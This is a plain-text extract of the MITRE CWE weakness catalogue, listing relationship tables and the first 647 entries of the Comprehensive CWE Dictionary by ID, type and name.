ParentOf		245	J2EE Bad Practices: Direct Management of Connections	<b>888</b>	435
ParentOf		246	J2EE Bad Practices: Direct Use of Sockets	<b>888</b>	437
ParentOf		382	J2EE Bad Practices: Use of System.exit()	<b>888</b>	661
ParentOf		383	J2EE Bad Practices: Direct Use of Threads	<b>888</b>	662
ParentOf		432	Dangerous Signal Handler not Disabled During Sensitive Operations	<b>888</b>	740
ParentOf		439	Behavioral Change in New Version or Environment	<b>888</b>	752
ParentOf		440	Expected Behavior Violation	<b>888</b>	753



Nature	Type	ID	Name	V	Page
ParentOf	B	474	Use of Function with Inconsistent Implementations	888	797
ParentOf	B	477	Use of Obsolete Functions	888	802
ParentOf	V	479	Signal Handler Use of a Non-reentrant Function	888	807
ParentOf	V	558	Use of getlogin() in Multithreaded Application	888	893
ParentOf	V	572	Call to Thread run() instead of start()	888	910
ParentOf	C	573	Improper Following of Specification by Caller	888	910
ParentOf	V	574	EJB Bad Practices: Use of Synchronization Primitives	888	911
ParentOf	V	575	EJB Bad Practices: Use of AWT Swing	888	913
ParentOf	V	576	EJB Bad Practices: Use of Java I/O	888	915
ParentOf	V	577	EJB Bad Practices: Use of Sockets	888	916
ParentOf	V	578	EJB Bad Practices: Use of Class Loader	888	918
ParentOf	V	586	Explicit Call to Finalize()	888	926
ParentOf	V	589	Call to Non-ubiquitous API	888	929
ParentOf	V	617	Reachable Assertion	888	964
ParentOf	B	676	Use of Potentially Dangerous Function	888	1044
ParentOf	B	684	Incorrect Provision of Specified Functionality	888	1065
ParentOf	B	695	Use of Low-Level Functionality	888	1077
ParentOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	888	1153

## CWE-1002: SFP Secondary Cluster: Unexpected Entry Points

Category ID: 1002 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Unexpected Entry Points cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	897	SFP Primary Cluster: Entry Points	888	1326
ParentOf	B	489	Leftover Debug Code	888	824
ParentOf	V	491	Public cloneable() Method Without Final ('Object Hijack')	888	826
ParentOf	V	493	Critical Public Variable Without Final Modifier	888	833
ParentOf	V	500	Public Static Field Not Marked Final	888	845
ParentOf	V	531	Information Exposure Through Test Code	888	871
ParentOf	V	568	finalize() Method Without super.finalize()	888	905
ParentOf	V	580	clone() Method Without super.clone()	888	920
ParentOf	V	582	Array Declared Public, Final, and Static	888	922
ParentOf	V	583	finalize() Method Declared Public	888	923
ParentOf	V	608	Struts: Non-private Field in ActionForm Class	888	954
ParentOf	V	766	Critical Variable Declared Public	888	1170

## CWE-2000: Comprehensive CWE Dictionary

View ID: 2000 (View: Implicit Slice)

Status: Draft

### Objective

This view (slice) covers all the elements in CWE.

### View Data

#### Filter Used:

true()

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>1003</b>	out of	1003
<b>Views</b>	32	out of	32
<b>Categories</b>	244	out of	244
<b>Weaknesses</b>	719	out of	719
<b>Compound_Elements</b>	8	out of	8

## CWEs Included in this View

Type	ID	Name
C	1	Location
C	2	Environment
C	3	Technology-specific Environment Issues
C	4	J2EE Environment Issues
V	5	J2EE Misconfiguration: Data Transmission Without Encryption
V	6	J2EE Misconfiguration: Insufficient Session-ID Length
V	7	J2EE Misconfiguration: Missing Custom Error Page
V	8	J2EE Misconfiguration: Entity Bean Declared Remote
V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods
C	10	ASP.NET Environment Issues
V	11	ASP.NET Misconfiguration: Creating Debug Binary
V	12	ASP.NET Misconfiguration: Missing Custom Error Page
V	13	ASP.NET Misconfiguration: Password in Configuration File
B	14	Compiler Removal of Code to Clear Buffers
B	15	External Control of System or Configuration Setting
C	16	Configuration
C	17	Code
C	18	Source Code
C	19	Data Handling
G	20	Improper Input Validation
C	21	Pathname Traversal and Equivalence Errors
G	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
B	23	Relative Path Traversal
V	24	Path Traversal: '..\filedir'
V	25	Path Traversal: '../filedir'
V	26	Path Traversal: '/dir/./filename'
V	27	Path Traversal: 'dir/././filename'
V	28	Path Traversal: '..\filedir'
V	29	Path Traversal: '\.\filename'
V	30	Path Traversal: 'dir\.\filename'
V	31	Path Traversal: 'dir\..\filename'
V	32	Path Traversal: '...' (Triple Dot)
V	33	Path Traversal: '....' (Multiple Dot)
V	34	Path Traversal: '..../'
V	35	Path Traversal: '....//'
B	36	Absolute Path Traversal
V	37	Path Traversal: '/absolute/pathname/here'
V	38	Path Traversal: '\absolute\pathname\here'
V	39	Path Traversal: 'C:dirname'
V	40	Path Traversal: '\\UNC\share\name\ (Windows UNC Share)
B	41	Improper Resolution of Path Equivalence
V	42	Path Equivalence: 'filename.' (Trailing Dot)
V	43	Path Equivalence: 'filename....' (Multiple Trailing Dot)
V	44	Path Equivalence: 'file.name' (Internal Dot)

Type	ID	Name
V	45	Path Equivalence: 'file...name' (Multiple Internal Dot)
V	46	Path Equivalence: 'filename ' (Trailing Space)
V	47	Path Equivalence: ' filename' (Leading Space)
V	48	Path Equivalence: 'file name' (Internal Whitespace)
V	49	Path Equivalence: 'filename/' (Trailing Slash)
V	50	Path Equivalence: '//multiple/leading/slash'
V	51	Path Equivalence: '/multiple//internal/slash'
V	52	Path Equivalence: '/multiple/trailing/slash/'
V	53	Path Equivalence: '\multiple\internal\backslash'
V	54	Path Equivalence: 'filedir\' (Trailing Backslash)
V	55	Path Equivalence: './.' (Single Dot Directory)
V	56	Path Equivalence: 'filedir*' (Wildcard)
V	57	Path Equivalence: 'fakedir/./readdir/filename'
V	58	Path Equivalence: Windows 8.3 Filename
B	59	Improper Link Resolution Before File Access ('Link Following')
C	60	UNIX Path Link Problems
	61	UNIX Symbolic Link (Symlink) Following
V	62	UNIX Hard Link
C	63	Windows Path Link Problems
V	64	Windows Shortcut Following (.LNK)
V	65	Windows Hard Link
B	66	Improper Handling of File Names that Identify Virtual Resources
V	67	Improper Handling of Windows Device Names
C	68	Windows Virtual File Problems
V	69	Improper Handling of Windows ::DATA Alternate Data Stream
C	70	Mac Virtual File Problems
V	71	Apple '.DS_Store'
V	72	Improper Handling of Apple HFS+ Alternate Data Stream Path
G	73	External Control of File Name or Path
G	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
G	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
B	76	Improper Neutralization of Equivalent Special Elements
G	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')
B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
V	80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
V	81	Improper Neutralization of Script in an Error Message Web Page
V	82	Improper Neutralization of Script in Attributes of IMG Tags in a Web Page
V	83	Improper Neutralization of Script in Attributes in a Web Page
V	84	Improper Neutralization of Encoded URI Schemes in a Web Page
V	85	Doubled Character XSS Manipulations
V	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages
V	87	Improper Neutralization of Alternate XSS Syntax
B	88	Argument Injection or Modification
B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
B	91	XML Injection (aka Blind XPath Injection)
N	92	DEPRECATED: Improper Sanitization of Custom Special Characters
B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')

Type	ID	Name
C	94	Improper Control of Generation of Code ('Code Injection')
B	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
V	97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page
B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
B	99	Improper Control of Resource Identifiers ('Resource Injection')
C	100	Technology-Specific Input Validation Problems
C	101	Struts Validation Problems
V	102	Struts: Duplicate Validation Forms
V	103	Struts: Incomplete validate() Method Definition
V	104	Struts: Form Bean Does Not Extend Validation Class
V	105	Struts: Form Field Without Validator
V	106	Struts: Plug-in Framework not in Use
V	107	Struts: Unused Validation Form
V	108	Struts: Unvalidated Action Form
V	109	Struts: Validator Turned Off
V	110	Struts: Validator Without Form Field
B	111	Direct Use of Unsafe JNI
B	112	Missing XML Validation
B	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
B	114	Process Control
B	115	Misinterpretation of Input
C	116	Improper Encoding or Escaping of Output
B	117	Improper Output Neutralization for Logs
C	118	Improper Access of Indexable Resource ('Range Error')
C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
V	121	Stack-based Buffer Overflow
V	122	Heap-based Buffer Overflow
B	123	Write-what-where Condition
B	124	Buffer Underwrite ('Buffer Underflow')
B	125	Out-of-bounds Read
V	126	Buffer Over-read
V	127	Buffer Under-read
B	128	Wrap-around Error
B	129	Improper Validation of Array Index
V	130	Improper Handling of Length Parameter Inconsistency
B	131	Incorrect Calculation of Buffer Size
N	132	DEPRECATED (Duplicate): Miscalculated Null Termination
C	133	String Errors
B	134	Uncontrolled Format String
B	135	Incorrect Calculation of Multi-Byte String Length
C	136	Type Errors
C	137	Representation Errors
C	138	Improper Neutralization of Special Elements
N	139	DEPRECATED: General Special Element Problems
B	140	Improper Neutralization of Delimiters
V	141	Improper Neutralization of Parameter/Argument Delimiters
V	142	Improper Neutralization of Value Delimiters

Type	ID	Name
V	143	Improper Neutralization of Record Delimiters
V	144	Improper Neutralization of Line Delimiters
V	145	Improper Neutralization of Section Delimiters
V	146	Improper Neutralization of Expression/Command Delimiters
V	147	Improper Neutralization of Input Terminators
V	148	Improper Neutralization of Input Leaders
V	149	Improper Neutralization of Quoting Syntax
V	150	Improper Neutralization of Escape, Meta, or Control Sequences
V	151	Improper Neutralization of Comment Delimiters
V	152	Improper Neutralization of Macro Symbols
V	153	Improper Neutralization of Substitution Characters
V	154	Improper Neutralization of Variable Name Delimiters
V	155	Improper Neutralization of Wildcards or Matching Symbols
V	156	Improper Neutralization of Whitespace
V	157	Failure to Sanitize Paired Delimiters
V	158	Improper Neutralization of Null Byte or NUL Character
G	159	Failure to Sanitize Special Element
V	160	Improper Neutralization of Leading Special Elements
V	161	Improper Neutralization of Multiple Leading Special Elements
V	162	Improper Neutralization of Trailing Special Elements
V	163	Improper Neutralization of Multiple Trailing Special Elements
V	164	Improper Neutralization of Internal Special Elements
V	165	Improper Neutralization of Multiple Internal Special Elements
B	166	Improper Handling of Missing Special Element
B	167	Improper Handling of Additional Special Element
B	168	Improper Handling of Inconsistent Special Elements
C	169	Technology-Specific Special Elements
B	170	Improper Null Termination
C	171	Cleansing, Canonicalization, and Comparison Errors
G	172	Encoding Error
V	173	Improper Handling of Alternate Encoding
V	174	Double Decoding of the Same Data
V	175	Improper Handling of Mixed Encoding
V	176	Improper Handling of Unicode Encoding
V	177	Improper Handling of URL Encoding (Hex Encoding)
B	178	Improper Handling of Case Sensitivity
B	179	Incorrect Behavior Order: Early Validation
B	180	Incorrect Behavior Order: Validate Before Canonicalize
B	181	Incorrect Behavior Order: Validate Before Filter
B	182	Collapse of Data into Unsafe Value
B	183	Permissive Whitelist
B	184	Incomplete Blacklist
G	185	Incorrect Regular Expression
B	186	Overly Restrictive Regular Expression
B	187	Partial Comparison
B	188	Reliance on Data/Memory Layout
C	189	Numeric Errors
B	190	Integer Overflow or Wraparound
B	191	Integer Underflow (Wrap or Wraparound)
C	192	Integer Coercion Error

Type	ID	Name
B	193	Off-by-one Error
B	194	Unexpected Sign Extension
V	195	Signed to Unsigned Conversion Error
V	196	Unsigned to Signed Conversion Error
B	197	Numeric Truncation Error
B	198	Use of Incorrect Byte Ordering
C	199	Information Management Errors
C	200	Information Exposure
V	201	Information Exposure Through Sent Data
V	202	Exposure of Sensitive Data Through Data Queries
C	203	Information Exposure Through Discrepancy
B	204	Response Discrepancy Information Exposure
B	205	Information Exposure Through Behavioral Discrepancy
V	206	Information Exposure of Internal State Through Behavioral Inconsistency
V	207	Information Exposure Through an External Behavioral Inconsistency
B	208	Information Exposure Through Timing Discrepancy
B	209	Information Exposure Through an Error Message
B	210	Information Exposure Through Self-generated Error Message
B	211	Information Exposure Through Externally-generated Error Message
B	212	Improper Cross-boundary Removal of Sensitive Data
B	213	Intentional Information Exposure
V	214	Information Exposure Through Process Environment
V	215	Information Exposure Through Debug Information
C	216	Containment Errors (Container Errors)
N	217	DEPRECATED: Failure to Protect Stored Data from Modification
N	218	DEPRECATED (Duplicate): Failure to provide confidentiality for stored data
V	219	Sensitive Data Under Web Root
V	220	Sensitive Data Under FTP Root
C	221	Information Loss or Omission
B	222	Truncation of Security-relevant Information
B	223	Omission of Security-relevant Information
B	224	Obscured Security-relevant Information by Alternate Name
N	225	DEPRECATED (Duplicate): General Information Management Problems
B	226	Sensitive Information Uncleared Before Release
C	227	Improper Fulfillment of API Contract ('API Abuse')
C	228	Improper Handling of Syntactically Invalid Structure
B	229	Improper Handling of Values
V	230	Improper Handling of Missing Values
V	231	Improper Handling of Extra Values
V	232	Improper Handling of Undefined Values
B	233	Improper Handling of Parameters
V	234	Failure to Handle Missing Parameter
V	235	Improper Handling of Extra Parameters
V	236	Improper Handling of Undefined Parameters
B	237	Improper Handling of Structural Elements
V	238	Improper Handling of Incomplete Structural Elements
V	239	Failure to Handle Incomplete Element
V	240	Improper Handling of Inconsistent Structural Elements
B	241	Improper Handling of Unexpected Data Type
B	242	Use of Inherently Dangerous Function
V	243	Creation of chroot Jail Without Changing Working Directory



Type	ID	Name
V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')
V	245	J2EE Bad Practices: Direct Management of Connections
V	246	J2EE Bad Practices: Direct Use of Sockets
N	247	DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision
B	248	Uncaught Exception
N	249	DEPRECATED: Often Misused: Path Manipulation
G	250	Execution with Unnecessary Privileges
C	251	Often Misused: String Management
B	252	Unchecked Return Value
B	253	Incorrect Check of Function Return Value
C	254	Security Features
C	255	Credentials Management
V	256	Plaintext Storage of a Password
B	257	Storing Passwords in a Recoverable Format
V	258	Empty Password in Configuration File
B	259	Use of Hard-coded Password
V	260	Password in Configuration File
V	261	Weak Cryptography for Passwords
V	262	Not Using Password Aging
B	263	Password Aging with Long Expiration
C	264	Permissions, Privileges, and Access Controls
C	265	Privilege / Sandbox Issues
B	266	Incorrect Privilege Assignment
B	267	Privilege Defined With Unsafe Actions
B	268	Privilege Chaining
B	269	Improper Privilege Management
B	270	Privilege Context Switching Error
G	271	Privilege Dropping / Lowering Errors
B	272	Least Privilege Violation
B	273	Improper Check for Dropped Privileges
B	274	Improper Handling of Insufficient Privileges
C	275	Permission Issues
V	276	Incorrect Default Permissions
V	277	Insecure Inherited Permissions
V	278	Insecure Preserved Inherited Permissions
V	279	Incorrect Execution-Assigned Permissions
B	280	Improper Handling of Insufficient Permissions or Privileges
B	281	Improper Preservation of Permissions
G	282	Improper Ownership Management
B	283	Unverified Ownership
G	284	Improper Access Control
G	285	Improper Authorization
G	286	Incorrect User Management
G	287	Improper Authentication
B	288	Authentication Bypass Using an Alternate Path or Channel
V	289	Authentication Bypass by Alternate Name
B	290	Authentication Bypass by Spoofing
V	291	Reliance on IP Address for Authentication
N	292	DEPRECATED (Duplicate): Trusting Self-reported DNS Name
V	293	Using Referer Field for Authentication
B	294	Authentication Bypass by Capture-replay



Type	ID	Name
B	295	Improper Certificate Validation
B	296	Improper Following of a Certificate's Chain of Trust
V	297	Improper Validation of Certificate with Host Mismatch
V	298	Improper Validation of Certificate Expiration
V	299	Improper Check for Certificate Revocation
G	300	Channel Accessible by Non-Endpoint ('Man-in-the-Middle')
V	301	Reflection Attack in an Authentication Protocol
V	302	Authentication Bypass by Assumed-Immutable Data
B	303	Incorrect Implementation of Authentication Algorithm
B	304	Missing Critical Step in Authentication
B	305	Authentication Bypass by Primary Weakness
V	306	Missing Authentication for Critical Function
B	307	Improper Restriction of Excessive Authentication Attempts
B	308	Use of Single-factor Authentication
B	309	Use of Password System for Primary Authentication
C	310	Cryptographic Issues
B	311	Missing Encryption of Sensitive Data
B	312	Cleartext Storage of Sensitive Information
V	313	Cleartext Storage in a File or on Disk
V	314	Cleartext Storage in the Registry
V	315	Cleartext Storage of Sensitive Information in a Cookie
V	316	Cleartext Storage of Sensitive Information in Memory
V	317	Cleartext Storage of Sensitive Information in GUI
V	318	Cleartext Storage of Sensitive Information in Executable
B	319	Cleartext Transmission of Sensitive Information
C	320	Key Management Errors
B	321	Use of Hard-coded Cryptographic Key
B	322	Key Exchange without Entity Authentication
B	323	Reusing a Nonce, Key Pair in Encryption
B	324	Use of a Key Past its Expiration Date
B	325	Missing Required Cryptographic Step
G	326	Inadequate Encryption Strength
B	327	Use of a Broken or Risky Cryptographic Algorithm
B	328	Reversible One-Way Hash
V	329	Not Using a Random IV with CBC Mode
G	330	Use of Insufficiently Random Values
B	331	Insufficient Entropy
V	332	Insufficient Entropy in PRNG
V	333	Improper Handling of Insufficient Entropy in TRNG
B	334	Small Space of Random Values
G	335	PRNG Seed Error
B	336	Same Seed in PRNG
B	337	Predictable Seed in PRNG
B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
B	339	Small Seed Space in PRNG
G	340	Predictability Problems
B	341	Predictable from Observable State
B	342	Predictable Exact Value from Previous Values
B	343	Predictable Value Range from Previous Values
B	344	Use of Invariant Value in Dynamically Changing Context

Type	ID	Name
	345	Insufficient Verification of Data Authenticity
	346	Origin Validation Error
	347	Improper Verification of Cryptographic Signature
	348	Use of Less Trusted Source
	349	Acceptance of Extraneous Untrusted Data With Trusted Data
	350	Reliance on Reverse DNS Resolution for a Security-Critical Action
	351	Insufficient Type Distinction
	352	Cross-Site Request Forgery (CSRF)
	353	Missing Support for Integrity Check
	354	Improper Validation of Integrity Check Value
	355	User Interface Security Issues
	356	Product UI does not Warn User of Unsafe Actions
	357	Insufficient UI Warning of Dangerous Operations
	358	Improperly Implemented Security Check for Standard
	359	Exposure of Private Information ('Privacy Violation')
	360	Trust of System Event Data
	361	Time and State
	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
	363	Race Condition Enabling Link Following
	364	Signal Handler Race Condition
	365	Race Condition in Switch
	366	Race Condition within a Thread
	367	Time-of-check Time-of-use (TOCTOU) Race Condition
	368	Context Switching Race Condition
	369	Divide By Zero
	370	Missing Check for Certificate Revocation after Initial Check
	371	State Issues
	372	Incomplete Internal State Distinction
	373	DEPRECATED: State Synchronization Error
	374	Passing Mutable Objects to an Untrusted Method
	375	Returning a Mutable Object to an Untrusted Caller
	376	Temporary File Issues
	377	Insecure Temporary File
	378	Creation of Temporary File With Insecure Permissions
	379	Creation of Temporary File in Directory with Incorrect Permissions
	380	Technology-Specific Time and State Issues
	381	J2EE Time and State Issues
	382	J2EE Bad Practices: Use of System.exit()
	383	J2EE Bad Practices: Direct Use of Threads
	384	Session Fixation
	385	Covert Timing Channel
	386	Symbolic Name not Mapping to Correct Object
	387	Signal Errors
	388	Error Handling
	389	Error Conditions, Return Values, Status Codes
	390	Detection of Error Condition Without Action
	391	Unchecked Error Condition
	392	Missing Report of Error Condition
	393	Return of Wrong Status Code
	394	Unexpected Status Code or Return Value

Type	ID	Name
B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference
B	396	Declaration of Catch for Generic Exception
B	397	Declaration of Throws for Generic Exception
C	398	Indicator of Poor Code Quality
C	399	Resource Management Errors
B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')
B	401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')
C	402	Transmission of Private Resources into a New Sphere ('Resource Leak')
B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')
B	404	Improper Resource Shutdown or Release
C	405	Asymmetric Resource Consumption (Amplification)
B	406	Insufficient Control of Network Message Volume (Network Amplification)
B	407	Algorithmic Complexity
B	408	Incorrect Behavior Order: Early Amplification
B	409	Improper Handling of Highly Compressed Data (Data Amplification)
B	410	Insufficient Resource Pool
C	411	Resource Locking Problems
B	412	Unrestricted Externally Accessible Lock
B	413	Improper Resource Locking
B	414	Missing Lock Check
V	415	Double Free
B	416	Use After Free
C	417	Channel and Path Errors
C	418	Channel Errors
B	419	Unprotected Primary Channel
B	420	Unprotected Alternate Channel
B	421	Race Condition During Access to Alternate Channel
V	422	Unprotected Windows Messaging Channel ('Shatter')
N	423	DEPRECATED (Duplicate): Proxied Trusted Channel
C	424	Improper Protection of Alternate Path
B	425	Direct Request ('Forced Browsing')
B	426	Untrusted Search Path
B	427	Uncontrolled Search Path Element
B	428	Unquoted Search Path or Element
C	429	Handler Errors
B	430	Deployment of Wrong Handler
B	431	Missing Handler
B	432	Dangerous Signal Handler not Disabled During Sensitive Operations
V	433	Unparsed Raw Web Content Delivery
B	434	Unrestricted Upload of File with Dangerous Type
C	435	Interaction Error
B	436	Interpretation Conflict
B	437	Incomplete Model of Endpoint Features
C	438	Behavioral Problems
B	439	Behavioral Change in New Version or Environment
B	440	Expected Behavior Violation
C	441	Unintended Proxy or Intermediary ('Confused Deputy')
C	442	Web Problems
N	443	DEPRECATED (Duplicate): HTTP response splitting
B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')
C	445	User Interface Errors

Type	ID	Name
B	446	UI Discrepancy for Security Feature
B	447	Unimplemented or Unsupported Feature in UI
B	448	Obsolete Feature in UI
B	449	The UI Performs the Wrong Action
B	450	Multiple Interpretations of UI Input
B	451	User Interface (UI) Misrepresentation of Critical Information
C	452	Initialization and Cleanup Errors
B	453	Insecure Default Variable Initialization
B	454	External Initialization of Trusted Variables or Data Stores
B	455	Non-exit on Failed Initialization
B	456	Missing Initialization of a Variable
V	457	Use of Uninitialized Variable
N	458	DEPRECATED: Incorrect Initialization
B	459	Incomplete Cleanup
V	460	Improper Cleanup on Thrown Exception
C	461	Data Structure Issues
B	462	Duplicate Key in Associative List (Alist)
B	463	Deletion of Data Structure Sentinel
B	464	Addition of Data Structure Sentinel
C	465	Pointer Issues
B	466	Return of Pointer Value Outside of Expected Range
V	467	Use of sizeof() on a Pointer Type
B	468	Incorrect Pointer Scaling
B	469	Use of Pointer Subtraction to Determine Size
B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
B	471	Modification of Assumed-Immutable Data (MAID)
B	472	External Control of Assumed-Immutable Web Parameter
V	473	PHP External Variable Modification
B	474	Use of Function with Inconsistent Implementations
B	475	Undefined Behavior for Input to API
B	476	NULL Pointer Dereference
B	477	Use of Obsolete Functions
V	478	Missing Default Case in Switch Statement
V	479	Signal Handler Use of a Non-reentrant Function
B	480	Use of Incorrect Operator
V	481	Assigning instead of Comparing
V	482	Comparing instead of Assigning
V	483	Incorrect Block Delimitation
B	484	Omitted Break Statement in Switch
G	485	Insufficient Encapsulation
V	486	Comparison of Classes by Name
V	487	Reliance on Package-level Scope
V	488	Exposure of Data Element to Wrong Session
B	489	Leftover Debug Code
C	490	Mobile Code Issues
V	491	Public cloneable() Method Without Final ('Object Hijack')
V	492	Use of Inner Class Containing Sensitive Data
V	493	Critical Public Variable Without Final Modifier
B	494	Download of Code Without Integrity Check
V	495	Private Array-Typed Field Returned From A Public Method
V	496	Public Data Assigned to Private Array-Typed Field

Type	ID	Name
V	497	Exposure of System Data to an Unauthorized Control Sphere
V	498	Cloneable Class Containing Sensitive Information
V	499	Serializable Class Containing Sensitive Data
V	500	Public Static Field Not Marked Final
B	501	Trust Boundary Violation
V	502	Deserialization of Untrusted Data
C	503	Byte/Object Code
C	504	Motivation/Intent
C	505	Intentionally Introduced Weakness
G	506	Embedded Malicious Code
B	507	Trojan Horse
B	508	Non-Replicating Malicious Code
B	509	Replicating Malicious Code (Virus or Worm)
B	510	Trapdoor
B	511	Logic/Time Bomb
B	512	Spyware
C	513	Intentionally Introduced Nonmalicious Weakness
G	514	Covert Channel
B	515	Covert Storage Channel
N	516	DEPRECATED (Duplicate): Covert Timing Channel
C	517	Other Intentional, Nonmalicious Weakness
C	518	Inadvertently Introduced Weakness
C	519	.NET Environment Issues
V	520	.NET Misconfiguration: Use of Impersonation
B	521	Weak Password Requirements
B	522	Insufficiently Protected Credentials
V	523	Unprotected Transport of Credentials
V	524	Information Exposure Through Caching
V	525	Information Exposure Through Browser Caching
V	526	Information Exposure Through Environmental Variables
V	527	Exposure of CVS Repository to an Unauthorized Control Sphere
V	528	Exposure of Core Dump File to an Unauthorized Control Sphere
V	529	Exposure of Access Control List Files to an Unauthorized Control Sphere
V	530	Exposure of Backup File to an Unauthorized Control Sphere
V	531	Information Exposure Through Test Code
V	532	Information Exposure Through Log Files
V	533	Information Exposure Through Server Log Files
V	534	Information Exposure Through Debug Log Files
V	535	Information Exposure Through Shell Error Message
V	536	Information Exposure Through Servlet Runtime Error Message
V	537	Information Exposure Through Java Runtime Error Message
B	538	File and Directory Information Exposure
V	539	Information Exposure Through Persistent Cookies
V	540	Information Exposure Through Source Code
V	541	Information Exposure Through Include Source Code
V	542	Information Exposure Through Cleanup Log Files
V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context
B	544	Missing Standardized Error Handling Mechanism
V	545	Use of Dynamic Class Loading
V	546	Suspicious Comment
V	547	Use of Hard-coded, Security-relevant Constants

Type	ID	Name
V	548	Information Exposure Through Directory Listing
V	549	Missing Password Field Masking
V	550	Information Exposure Through Server Error Message
B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
B	552	Files or Directories Accessible to External Parties
V	553	Command Shell in Externally Accessible Directory
V	554	ASP.NET Misconfiguration: Not Using Input Validation Framework
V	555	J2EE Misconfiguration: Plaintext Password in Configuration File
V	556	ASP.NET Misconfiguration: Use of Identity Impersonation
C	557	Concurrency Issues
V	558	Use of getlogin() in Multithreaded Application
C	559	Often Misused: Arguments and Parameters
V	560	Use of umask() with chmod-style Argument
V	561	Dead Code
B	562	Return of Stack Variable Address
V	563	Assignment to Variable without Use ('Unused Variable')
V	564	SQL Injection: Hibernate
B	565	Reliance on Cookies without Validation and Integrity Checking
V	566	Authorization Bypass Through User-Controlled SQL Primary Key
B	567	Unsynchronized Access to Shared Data in a Multithreaded Context
V	568	finalize() Method Without super.finalize()
C	569	Expression Issues
V	570	Expression is Always False
V	571	Expression is Always True
V	572	Call to Thread run() instead of start()
G	573	Improper Following of Specification by Caller
V	574	EJB Bad Practices: Use of Synchronization Primitives
V	575	EJB Bad Practices: Use of AWT Swing
V	576	EJB Bad Practices: Use of Java I/O
V	577	EJB Bad Practices: Use of Sockets
V	578	EJB Bad Practices: Use of Class Loader
V	579	J2EE Bad Practices: Non-serializable Object Stored in Session
V	580	clone() Method Without super.clone()
B	581	Object Model Violation: Just One of Equals and Hashcode Defined
V	582	Array Declared Public, Final, and Static
V	583	finalize() Method Declared Public
B	584	Return Inside Finally Block
V	585	Empty Synchronized Block
V	586	Explicit Call to Finalize()
B	587	Assignment of a Fixed Address to a Pointer
V	588	Attempt to Access Child of a Non-structure Pointer
V	589	Call to Non-ubiquitous API
V	590	Free of Memory not on the Heap
V	591	Sensitive Data Storage in Improperly Locked Memory
G	592	Authentication Bypass Issues
V	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
V	594	J2EE Framework: Saving Unserializable Objects to Disk
B	595	Comparison of Object References Instead of Object Contents
B	596	Incorrect Semantic Object Comparison
V	597	Use of Wrong Operator in String Comparison



Type	ID	Name
V	598	Information Exposure Through Query Strings in GET Request
V	599	Missing Validation of OpenSSL Certificate
B	600	Uncaught Exception in Servlet
V	601	URL Redirection to Untrusted Site ('Open Redirect')
B	602	Client-Side Enforcement of Server-Side Security
B	603	Use of Client-Side Authentication
V	604	Deprecated Entries
B	605	Multiple Binds to the Same Port
B	606	Unchecked Input for Loop Condition
V	607	Public Static Final Field References Mutable Object
V	608	Struts: Non-private Field in ActionForm Class
B	609	Double-Checked Locking
C	610	Externally Controlled Reference to a Resource in Another Sphere
V	611	Improper Restriction of XML External Entity Reference ('XXE')
V	612	Information Exposure Through Indexing of Private Data
B	613	Insufficient Session Expiration
V	614	Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
V	615	Information Exposure Through Comments
V	616	Incomplete Identification of Uploaded File Variables (PHP)
V	617	Reachable Assertion
B	618	Exposed Unsafe ActiveX Method
B	619	Dangling Database Cursor ('Cursor Injection')
V	620	Unverified Password Change
B	621	Variable Extraction Error
V	622	Improper Validation of Function Hook Arguments
V	623	Unsafe ActiveX Control Marked Safe For Scripting
B	624	Executable Regular Expression Error
B	625	Permissive Regular Expression
V	626	Null Byte Interaction Error (Poison Null Byte)
B	627	Dynamic Variable Evaluation
B	628	Function Call with Incorrectly Specified Arguments
V	629	Weaknesses in OWASP Top Ten (2007)
V	630	Weaknesses Examined by SAMATE
V	631	Resource-specific Weaknesses
C	632	Weaknesses that Affect Files or Directories
C	633	Weaknesses that Affect Memory
C	634	Weaknesses that Affect System Processes
V	635	Weaknesses Used by NVD
C	636	Not Failing Securely ('Failing Open')
C	637	Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')
C	638	Not Using Complete Mediation
B	639	Authorization Bypass Through User-Controlled Key
B	640	Weak Password Recovery Mechanism for Forgotten Password
B	641	Improper Restriction of Names for Files and Other Resources
C	642	External Control of Critical State Data
B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')
V	644	Improper Neutralization of HTTP Headers for Scripting Syntax
B	645	Overly Restrictive Account Lockout Mechanism
V	646	Reliance on File Name or Extension of Externally-Supplied File
V	647	Use of Non-Canonical URL Paths for Authorization Decisions



